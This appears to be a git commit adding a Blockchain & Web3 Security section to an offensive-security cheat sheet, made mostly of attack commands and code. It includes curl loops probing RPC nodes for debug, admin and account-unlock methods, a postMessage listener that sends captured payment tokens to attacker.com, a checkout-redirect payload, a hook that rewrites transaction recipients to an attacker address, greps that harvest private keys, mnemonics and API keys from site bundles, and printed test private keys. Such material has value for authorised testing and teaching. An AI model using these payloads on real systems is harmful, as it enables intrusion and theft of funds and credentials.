Add Blockchain & Web3 Security section

2026-05-07 12:07:37 +02:00 · 2026-03-16 16:52:36 -04:00 · 2026-03-16 16:52:36 -04:00 · 647d8d189e
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+# Blockchain & Web3 Security
+
+> Blockchain infrastructure, DeFi protocols, and Web3 applications introduce unique attack surfaces that traditional web security testing doesn't cover. This section focuses on practical exploitation techniques against blockchain RPC endpoints, smart contract interactions, bridge infrastructure, and Web3 frontend applications.
+
+## Summary
+
+- [RPC Endpoint Attacks](#rpc-endpoint-attacks)
+  - [Exposed Debug Methods](#exposed-debug-methods)
+  - [Mempool/Txpool Exposure](#mempooltxpool-exposure)
+  - [Node Version Disclosure](#node-version-disclosure)
+  - [Dangerous RPC Methods by Node Type](#dangerous-rpc-methods-by-node-type)
+- [Web3 Frontend Attacks](#web3-frontend-attacks)
+  - [postMessage Exploitation](#postmessage-exploitation)
+  - [Transaction Manipulation](#transaction-manipulation)
+  - [Wallet Connection Hijacking](#wallet-connection-hijacking)
+- [Smart Contract Interaction](#smart-contract-interaction)
+  - [Read-Only Reentrancy](#read-only-reentrancy)
+  - [Price Oracle Manipulation](#price-oracle-manipulation)
+  - [Flash Loan Attacks](#flash-loan-attacks)
+- [Bridge & Cross-Chain](#bridge--cross-chain)
+  - [Bridge Relay Manipulation](#bridge-relay-manipulation)
+  - [Cross-Chain Replay](#cross-chain-replay)
+- [Key & Credential Exposure](#key--credential-exposure)
+  - [Hardcoded Private Keys](#hardcoded-private-keys)
+  - [Exposed Mnemonics](#exposed-mnemonics)
+  - [API Key Leakage in Frontends](#api-key-leakage-in-frontends)
+- [References](#references)
+
+## RPC Endpoint Attacks
+
+### Exposed Debug Methods
+
+Blockchain nodes expose JSON-RPC APIs for interaction. Debug and trace methods should be disabled on public endpoints but are frequently left enabled.
+
+```bash
+# Test if debug_traceTransaction is enabled
+curl -s -X POST https://TARGET_RPC \
+  -H "Content-Type: application/json" \
+  -d '{"jsonrpc":"2.0","method":"debug_traceTransaction","params":[],"id":1}'
+
+# Response indicating method IS enabled (needs parameters, not disabled):
+# {"jsonrpc":"2.0","id":1,"error":{"code":-32602,"message":"missing value for required argument 0"}}
+
+# Response indicating method is properly DISABLED:
+# {"jsonrpc":"2.0","id":1,"error":{"code":-32601,"message":"the method does not exist/is not available"}}
+```
+
+```bash
+# Trace a real transaction (full EVM execution trace)
+TX_HASH=$(curl -s -X POST https://TARGET_RPC \
+  -H "Content-Type: application/json" \
+  -d '{"jsonrpc":"2.0","method":"eth_getBlockByNumber","params":["latest",true],"id":1}' \
+  | jq -r '.result.transactions[0].hash')
+
+curl -s -X POST https://TARGET_RPC \
+  -H "Content-Type: application/json" \
+  -d "{\"jsonrpc\":\"2.0\",\"method\":\"debug_traceTransaction\",\"params\":[\"$TX_HASH\"],\"id\":1}"
+# Returns: full opcode trace with stack, memory, gas for every instruction
+```
+
+```bash
+# Batch test all dangerous methods
+for method in debug_traceTransaction debug_traceBlockByNumber debug_storageRangeAt \
+  debug_accountRange debug_getModifiedAccountsByNumber trace_block trace_transaction \
+  trace_filter trace_rawTransaction txpool_content txpool_status txpool_inspect \
+  admin_nodeInfo admin_peers admin_addPeer personal_listAccounts personal_unlockAccount \
+  eth_accounts miner_start miner_stop; do
+  resp=$(curl -s -X POST https://TARGET_RPC \
+    -H "Content-Type: application/json" \
+    -d "{\"jsonrpc\":\"2.0\",\"method\":\"$method\",\"params\":[],\"id\":1}")
+  error=$(echo "$resp" | jq -r '.error.message // "NO_ERROR"' 2>/dev/null)
+  if [ "$error" = "NO_ERROR" ] || echo "$error" | grep -qi "missing.*argument"; then
+    echo "[ENABLED] $method"
+  fi
+done
+```
+
+### Mempool/Txpool Exposure
+
+The txpool namespace exposes pending (unmined) transactions, enabling frontrunning and MEV attacks.
+
+```bash
+# Check if txpool_content is accessible
+curl -s -X POST https://TARGET_RPC \
+  -H "Content-Type: application/json" \
+  -d '{"jsonrpc":"2.0","method":"txpool_content","params":[],"id":1}'
+# If result contains "pending" and "queued" objects, txpool is exposed
+
+# Check txpool_status (summary)
+curl -s -X POST https://TARGET_RPC \
+  -H "Content-Type: application/json" \
+  -d '{"jsonrpc":"2.0","method":"txpool_status","params":[],"id":1}'
+# Returns: {"result":{"pending":"0x5","queued":"0x0"}}
+
+# Inspect txpool (formatted view)
+curl -s -X POST https://TARGET_RPC \
+  -H "Content-Type: application/json" \
+  -d '{"jsonrpc":"2.0","method":"txpool_inspect","params":[],"id":1}'
+```
+
+**Impact of txpool exposure:**
+- **Frontrunning**: Monitor for large DEX swaps, submit transaction with higher gas to execute first
+- **Sandwich attacks**: Place buy before and sell after a victim's swap to extract value
+- **Transaction censorship**: Monitor and selectively target specific addresses
+- **Privacy breach**: All pending transactions visible before confirmation
+
+**Comparison — major L2s properly disable txpool:**
+```bash
+# These should all return "method not found" on public RPCs:
+curl -s -X POST https://arb1.arbitrum.io/rpc -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"txpool_status","params":[],"id":1}'
+curl -s -X POST https://mainnet.optimism.io -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"txpool_status","params":[],"id":1}'
+curl -s -X POST https://mainnet.base.org -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"txpool_status","params":[],"id":1}'
+```
+
+### Node Version Disclosure
+
+```bash
+# Get exact node software version
+curl -s -X POST https://TARGET_RPC \
+  -H "Content-Type: application/json" \
+  -d '{"jsonrpc":"2.0","method":"web3_clientVersion","params":[],"id":1}'
+# Returns: "geth/v1.13.5-stable/linux-amd64/go1.21.5"
+# Or: "cdk-erigon/v2.0.3/linux-amd64/go1.21.5"
+# Or: "nitro/v3.6.7-a7c9f1e/linux-amd64/go1.23.1"
+
+# Get chain configuration
+curl -s -X POST https://TARGET_RPC \
+  -H "Content-Type: application/json" \
+  -d '{"jsonrpc":"2.0","method":"eth_chainId","params":[],"id":1}'
+
+# Get fork schedule (Erigon-specific)
+curl -s -X POST https://TARGET_RPC \
+  -H "Content-Type: application/json" \
+  -d '{"jsonrpc":"2.0","method":"erigon_forks","params":[],"id":1}'
+
+# Check sync status
+curl -s -X POST https://TARGET_RPC \
+  -H "Content-Type: application/json" \
+  -d '{"jsonrpc":"2.0","method":"eth_syncing","params":[],"id":1}'
+```
+
+### Dangerous RPC Methods by Node Type
+
+| Node Software | Dangerous Methods | Impact |
+|---|---|---|
+| **Geth** | `debug_*`, `admin_*`, `personal_*`, `txpool_*`, `miner_*` | RCE via `admin_startRPC`, account unlock, mempool access |
+| **Erigon** | `debug_*`, `trace_*`, `txpool_*`, `erigon_*` | Full tracing, mempool, internal chain state |
+| **Nethermind** | `debug_*`, `trace_*`, `admin_*`, `txpool_*` | Similar to Geth + Parity trace namespace |
+| **Besu** | `debug_*`, `trace_*`, `txpool_*`, `admin_*`, `miner_*` | Full debug suite + miner control |
+| **Reth** | `debug_*`, `trace_*`, `txpool_*` | Modern Rust client, similar namespaces |
+| **Arbitrum Nitro** | `debug_*`, `txpool_*`, `arbtrace_*` | Nitro-specific tracing + standard debug |
+
+```bash
+# Erigon-specific endpoints
+curl -s -X POST https://TARGET_RPC -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"erigon_getHeaderByNumber","params":["latest"],"id":1}'
+curl -s -X POST https://TARGET_RPC -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"erigon_getLogsByHash","params":["BLOCK_HASH"],"id":1}'
+
+# Geth admin endpoints (critical if exposed)
+curl -s -X POST https://TARGET_RPC -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"admin_nodeInfo","params":[],"id":1}'
+curl -s -X POST https://TARGET_RPC -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"admin_peers","params":[],"id":1}'
+
+# Personal namespace (can unlock accounts!)
+curl -s -X POST https://TARGET_RPC -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"personal_listAccounts","params":[],"id":1}'
+```
+
+## Web3 Frontend Attacks
+
+### postMessage Exploitation
+
+Many Web3 checkout/bridge/swap interfaces use postMessage for iframe communication without origin validation.
+
+```javascript
+// Attacker page — capture payment tokens from embedded checkout
+window.addEventListener("message", function(event) {
+    // No origin check — captures from any iframe
+    console.log("Captured:", event.data);
+    // event.data may contain: payment_token, redirect_url, transaction_hash
+    fetch("https://attacker.com/log?data=" + JSON.stringify(event.data));
+});
+
+// Embed the target checkout/bridge in an iframe
+document.body.innerHTML = '<iframe src="https://checkout.target.com/pay?token=VALID_TOKEN"></iframe>';
+```
+
+```javascript
+// Send malicious params to an unvalidated checkout iframe
+var iframe = document.querySelector("iframe");
+iframe.contentWindow.postMessage({
+    type: "PARAMS",
+    data: {
+        hostname: "attacker.com",      // Redirect post-payment
+        enableRedirect: true,
+        hideOrderDetails: true,        // Hide from user
+        hideCartItems: true
+    }
+}, "*");
+```
+
+### Transaction Manipulation
+
+```javascript
+// Intercept and modify transaction parameters before wallet signing
+// Target: DeFi frontends that build transactions client-side
+
+// Hook the ethers.js sendTransaction
+const originalSend = provider.sendTransaction;
+provider.sendTransaction = async function(tx) {
+    // Modify transaction: change recipient, amount, or data
+    tx.to = "ATTACKER_ADDRESS";
+    return originalSend.call(this, tx);
+};
+```
+
+### Wallet Connection Hijacking
+
+```bash
+# Find WalletConnect relay endpoints in frontend JS
+curl -s https://TARGET | grep -oP 'wss?://[^"]*walletconnect[^"]*'
+curl -s https://TARGET | grep -oP 'wss?://[^"]*relay[^"]*'
+curl -s https://TARGET | grep -oP '"projectId"\s*:\s*"[^"]*"'
+
+# Check if WalletConnect project ID is reusable
+curl -s "https://relay.walletconnect.com" -H "Origin: https://attacker.com"
+```
+
+## Smart Contract Interaction
+
+### Price Oracle Manipulation
+
+```bash
+# Find oracle addresses in frontend JS
+curl -s https://TARGET/main.js | grep -oP '0x[a-fA-F0-9]{40}' | sort -u
+
+# Query Chainlink price feed
+cast call ORACLE_ADDRESS "latestRoundData()" --rpc-url https://TARGET_RPC
+
+# Check if a custom oracle has manipulation vectors
+cast call ORACLE_ADDRESS "getPrice(address)" TOKEN_ADDRESS --rpc-url https://TARGET_RPC
+```
+
+### Flash Loan Attack Pattern
+
+```solidity
+// Generic flash loan attack structure
+interface IFlashLoan {
+    function flashLoan(address token, uint256 amount, bytes calldata data) external;
+}
+
+contract FlashAttack {
+    function attack() external {
+        // 1. Borrow large amount via flash loan
+        // 2. Manipulate price oracle / pool ratio
+        // 3. Execute profitable trade at manipulated price
+        // 4. Repay flash loan + fee
+        // 5. Profit from price difference
+    }
+}
+```
+
+## Bridge & Cross-Chain
+
+### Bridge Relay Manipulation
+
+```bash
+# Identify bridge contracts and relay endpoints
+curl -s https://bridge.TARGET | grep -oP '0x[a-fA-F0-9]{40}' | sort -u
+
+# Check bridge TVL and historical transactions
+curl -s "https://api.llama.fi/protocol/TARGET_BRIDGE"
+
+# Monitor bridge pending transactions (if RPC exposed)
+curl -s -X POST https://TARGET_RPC \
+  -H "Content-Type: application/json" \
+  -d '{"jsonrpc":"2.0","method":"eth_getLogs","params":[{"fromBlock":"latest","address":"BRIDGE_CONTRACT"}],"id":1}'
+```
+
+### Cross-Chain Replay
+
+```bash
+# Check if the same contract address exists on multiple chains with different code
+for rpc in "https://eth.llamarpc.com" "https://arb1.arbitrum.io/rpc" "https://mainnet.optimism.io"; do
+  code=$(curl -s -X POST $rpc -H "Content-Type: application/json" \
+    -d "{\"jsonrpc\":\"2.0\",\"method\":\"eth_getCode\",\"params\":[\"TARGET_CONTRACT\",\"latest\"],\"id\":1}" \
+    | jq -r '.result')
+  echo "$rpc: $(echo $code | wc -c) bytes"
+done
+```
+
+## Key & Credential Exposure
+
+### Hardcoded Private Keys
+
+```bash
+# Search for private keys in JavaScript bundles
+curl -s https://TARGET/main.js | grep -oP '0x[a-fA-F0-9]{64}' | while read key; do
+  # Check if it's a valid private key by deriving the address
+  echo "Potential key: ${key:0:10}..."
+done
+
+# Search for mnemonics in source code
+curl -s https://TARGET/main.js | grep -oiP '(abandon|ability|able|about|above)\s+(ability|able|about|above|absent)\s+\w+'
+
+# Common hardcoded test keys (check if used in production)
+# 0xac0974bec39a17e36ba4a6b4d238ff944bacb478cbed5efcae784d7bf4f2ff80 (Hardhat #0)
+# 0x59c6995e998f97a5a0044966f0945389dc9e86dae88c7a8412f4603b6b78690d (Hardhat #1)
+```
+
+### API Key Leakage in Frontends
+
+```bash
+# Extract Infura/Alchemy/QuickNode API keys from JS
+curl -s https://TARGET | grep -oP '(infura\.io|alchemy\.com|quiknode\.pro)/[^"'\'']*' | sort -u
+
+# Extract API keys from config files
+curl -s https://TARGET/config.json | grep -i "api.*key\|infura\|alchemy\|etherscan"
+
+# Check if extracted RPC URL allows sensitive methods
+RPC_URL="https://mainnet.infura.io/v3/EXTRACTED_KEY"
+curl -s -X POST "$RPC_URL" -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","method":"eth_blockNumber","params":[],"id":1}'
+```
+
+## References
+
+- [Ethereum JSON-RPC Specification](https://ethereum.github.io/execution-apis/api-documentation/)
+- [Ethereum Foundation - MEV](https://ethereum.org/en/developers/docs/mev/)
+- [Flashbots - MEV Research](https://writings.flashbots.net/)
+- [Trail of Bits - Blockchain Security](https://github.com/trailofbits/publications#blockchain)
+- [Consensys - Smart Contract Best Practices](https://consensys.github.io/smart-contract-best-practices/)
+- [SWC Registry - Smart Contract Weakness Classification](https://swcregistry.io/)
+- [DeFi Hack Analysis](https://rekt.news/)